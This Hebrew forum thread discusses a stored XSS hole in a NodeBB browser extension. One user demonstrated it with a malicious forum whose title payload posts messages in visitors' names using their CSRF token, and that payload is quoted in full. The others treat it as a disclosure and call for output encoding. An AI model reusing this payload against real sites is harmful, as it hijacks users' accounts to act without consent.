שיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!
-
@מים-אחרונים תנסה את התוסף של @cfopuser תבין מה נסגר... גם אתה איך שהוא תכתוב את אותם מילים... אבל בדיוק!
-
@לאצי כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:
@CSS-0 מכיוון שהפוסט המקורי של @cfopuser נמחק אשמח אם מישהו יסביר לי מה הלך פה...
@cfopuser יצר פורום נוזקה, שכאשר מוסיפים אותו למרכז הפורומים בתוסף שלך, הוא שולח בשם המשתמש בקשת API לכתיבת פוסט חדש.
הוא בא להראות לך שצריך להוסיף אבטחה בתוסף שפורומים שנוספים לא יוכלו להזריק קוד ע"י התוסף.
זה https://cfopuser.----github.io/forum/ הקישור לפורום, וההזרקה היא בכותרת הפורום
-
ויש לציין שלדבריו זוהי רק פירצה אחת מיני רבות בתוסף.
להרגשתי צפוי לנו פרק ב' מרתק@קרט כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:
להבהיר את בנקודה
רק @cfopuser יפרוץ לניקים ויכתוב בשמם הודעות
אבל לא יטרח לתקן שגיאת כתיב בטקסט שנשלח בשמם...
או שזו סוג של חתימה
עריכה - @יאנג-בוי ברול הבא למועדון
-
@לאצי כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:
@CSS-0 מכיוון שהפוסט המקורי של @cfopuser נמחק אשמח אם מישהו יסביר לי מה הלך פה...
@cfopuser יצר פורום נוזקה, שכאשר מוסיפים אותו למרכז הפורומים בתוסף שלך, הוא שולח בשם המשתמש בקשת API לכתיבת פוסט חדש.
הוא בא להראות לך שצריך להוסיף אבטחה בתוסף שפורומים שנוספים לא יוכלו להזריק קוד ע"י התוסף.
זה https://cfopuser.----github.io/forum/ הקישור לפורום, וההזרקה היא בכותרת הפורום
@ע-ה-דכו-ע אשמח אם תסיר את הקישור לפורום בכדי למנוע פוסטים נוספים כאלה.
@cfopuser אשמח אם תסיר את הנוזקה. (אם כי אשמח לקבל את קוד המקור). -
@ע-ה-דכו-ע אשמח אם תסיר את הקישור לפורום בכדי למנוע פוסטים נוספים כאלה.
@cfopuser אשמח אם תסיר את הנוזקה. (אם כי אשמח לקבל את קוד המקור). -
@ע-ה-דכו-ע אשמח אם תסיר את הקישור לפורום בכדי למנוע פוסטים נוספים כאלה.
@cfopuser אשמח אם תסיר את הנוזקה. (אם כי אשמח לקבל את קוד המקור).@לאצי כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:
@cfopuser אשמח אם תסיר את הנוזקה. (אם כי אשמח לקבל את קוד המקור).
הנוזקה נמצאת בקישור שהבאתי, זה לא כזו נוזקה רצינית, ס"ה הוא הגדיר את המאפיין title לקוד הבא:
<title><img src=x onerror="const token = config.csrf_token; fetch('/api/v3/topics/94984', { method: 'POST', headers: { 'x-csrf-token': token, 'Content-Type': 'application/json' }, body: JSON.stringify({ content: 'שלום כאן @cfopuser רציתי לומר שיש כמה באגים עם התוסף שצריכים טיפול אז נא להזהר @לאצי רק באתי להבהיר את בנקודה הכול בהומור' }) }); "></title> -
@ע-ה-דכו-ע אשמח אם תסיר את הקישור לפורום בכדי למנוע פוסטים נוספים כאלה.
@cfopuser אשמח אם תסיר את הנוזקה. (אם כי אשמח לקבל את קוד המקור). -
@לאצי חשוב לציין שלפי דברי @cfopuser יש שם פרצות אבטחה הרבה יותר חמורות מזה.
ג"א מצטרף לדברי @בנימין-מחשבים אני ממש מצפה לפרק ב'...
@המלאך הנוזקה עדיין פעילה?
עריכה, לכאורה לא... כי התקנתי... והוספתי את הפורום ולא השתנה כלום -
פוסט זה נמחק!
-
@המלאך הנוזקה עדיין פעילה?
עריכה, לכאורה לא... כי התקנתי... והוספתי את הפורום ולא השתנה כלום -
@מים-אחרונים לא אני עשיתי את הנוזקה אלא @cfopuser .
אם היא לא פעילה זה קשור אליו.
עריכה: היא כן פעילה..
@לאצי תוציא עדכון אבטחה שעושה רק קידוד פלט.
לא מעביר את כל התוכן ישירות.@המלאך מה צריך לעשות בשביל לראות אותה?
כשאני כותב פוסט, היא אמורה לצוץ לא?
-
פוסט זה נמחק!
-
אוקי, זה לא קורה מיד בעצם, זה קורה אחרי כמה דקות..?
מעניין אותי ללמוד מה קורה כאן!
@cfopuser תוכל להסביר?@מים-אחרונים אתה יכול ללכת להגדרות מרכז הפורומים.
@לאצי בול אופן, לא פרצה מורכבת יש עוד כמה פרצות אבל שיותר קשה לזייף דרך נושא מוגדר,
והחזרים זדוניים של הapi,
בכול אופן בחרתי בזה כי זה הכי קל להדגים בפשטות.כול תוסף של ai, יכול להכיל פרצות לכן המינימום הנדרש זה לא להשתמש בדברים כמו inner.html כדי להציג טקסט ועוד הדבר רק יגרום לצרות.
Cאופן כללי יש להיזהר בפיתוח על ידי ai.זה הפוסט המקורי למי ששאל בכול אופן אני ימחק את האתר עכשיו ככה שאין כול כך עניין בדבר.
כנ"ל לגבי הפוסטים בנושא נראה לי העניין מוצה.לכול מי שלא עובד לו מרכז הפורומים,
הפתרון זה ללכת לפורום שאותו אתם רוצים להוסיף לדוג' הפורום הזה (זה סתם פורום לבדיקה),
להוסיף אותו למאגר (בלחיצה על כן),
לאחר מכן ללכת למרכז הפורומים וללכת שמה בהגדרות וללחוץ על הפורום שהוספתם.||
טוב זה המסר על תוספי ai אני מניח תיזהרו חברים
-
@מים-אחרונים אתה יכול ללכת להגדרות מרכז הפורומים.
@לאצי בול אופן, לא פרצה מורכבת יש עוד כמה פרצות אבל שיותר קשה לזייף דרך נושא מוגדר,
והחזרים זדוניים של הapi,
בכול אופן בחרתי בזה כי זה הכי קל להדגים בפשטות.כול תוסף של ai, יכול להכיל פרצות לכן המינימום הנדרש זה לא להשתמש בדברים כמו inner.html כדי להציג טקסט ועוד הדבר רק יגרום לצרות.
Cאופן כללי יש להיזהר בפיתוח על ידי ai.זה הפוסט המקורי למי ששאל בכול אופן אני ימחק את האתר עכשיו ככה שאין כול כך עניין בדבר.
כנ"ל לגבי הפוסטים בנושא נראה לי העניין מוצה.לכול מי שלא עובד לו מרכז הפורומים,
הפתרון זה ללכת לפורום שאותו אתם רוצים להוסיף לדוג' הפורום הזה (זה סתם פורום לבדיקה),
להוסיף אותו למאגר (בלחיצה על כן),
לאחר מכן ללכת למרכז הפורומים וללכת שמה בהגדרות וללחוץ על הפורום שהוספתם.||
טוב זה המסר על תוספי ai אני מניח תיזהרו חברים
-
@מים-אחרונים אתה יכול ללכת להגדרות מרכז הפורומים.
@לאצי בול אופן, לא פרצה מורכבת יש עוד כמה פרצות אבל שיותר קשה לזייף דרך נושא מוגדר,
והחזרים זדוניים של הapi,
בכול אופן בחרתי בזה כי זה הכי קל להדגים בפשטות.כול תוסף של ai, יכול להכיל פרצות לכן המינימום הנדרש זה לא להשתמש בדברים כמו inner.html כדי להציג טקסט ועוד הדבר רק יגרום לצרות.
Cאופן כללי יש להיזהר בפיתוח על ידי ai.זה הפוסט המקורי למי ששאל בכול אופן אני ימחק את האתר עכשיו ככה שאין כול כך עניין בדבר.
כנ"ל לגבי הפוסטים בנושא נראה לי העניין מוצה.לכול מי שלא עובד לו מרכז הפורומים,
הפתרון זה ללכת לפורום שאותו אתם רוצים להוסיף לדוג' הפורום הזה (זה סתם פורום לבדיקה),
להוסיף אותו למאגר (בלחיצה על כן),
לאחר מכן ללכת למרכז הפורומים וללכת שמה בהגדרות וללחוץ על הפורום שהוספתם.||
טוב זה המסר על תוספי ai אני מניח תיזהרו חברים
@cfopuser כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:
@מים-אחרונים אתה יכול ללכת להגדרות מרכז הפורומים.
איפה זה?
 { const baseUrl = "https://www.google.co.il/search?q=site:mitmachim.top"; const m = location.pathname.match(/^\/(topic|category)\/(\d+)/); const type = m ? m[1] : null; const id = m ? m[2] : null; let searchInput; function search(path = "") { const query = searchInput.value.trim(); if (query) { window.open(`${baseUrl}${path}%20${encodeURIComponent(query)}`, "_blank"); } } let buttons = {}; buttons.searchAll = { id: "bb-search-all", label: `חיפוש ${type ? "בכל הפורום" : ""}`, className: type ? "btn-secondary" : "btn-primary", callback: () => search(), }; if (type === "topic") { buttons.searchTopic = { label: "חיפוש בנושא זה", className: "btn-primary", callback: () => search(`/topic/${id}`), }; } else if (type === "category") { buttons.searchCategory = { label: "חיפוש בקטגוריה זו", className: "btn-primary", callback: () => search(`/category/${id}`), }; } buttons.cancel = { label: "ביטול", className: "btn-default", "data-bs-dismiss": "modal" }; const dialog = bootbox.dialog({ title: '<div style="text-align:center;"><img src="/assets/uploads/files/1625950269825-mt-google.png" width="400" alt="חיפוש בגוגל"></div>', message: '<input id="bb-inp" class="bootbox-input bootbox-input-text form-control" placeholder="הקלידו כדי לחפש בגוגל" autocomplete="off"/>', buttons, backdrop: true, show: true, onEscape: true }); dialog.on("shown.bs.modal", function () { searchInput = document.getElementById("bb-inp"); if (searchInput) { searchInput.focus(); searchInput.addEventListener("keydown", function (e) { if (e.key === "Enter") { e.preventDefault(); const query = this.value.trim(); if (query) { search(); dialog.modal("hide"); } } else if (e.key === "Escape") { e.preventDefault(); dialog.modal("hide"); } }); } const searchAllButton = document.getElementById("bb-search-all"); if (searchAllButton) { searchAllButton.title = "לחצו על אנטר כדי לחפש"; } }); })(); void 0;){kind=link}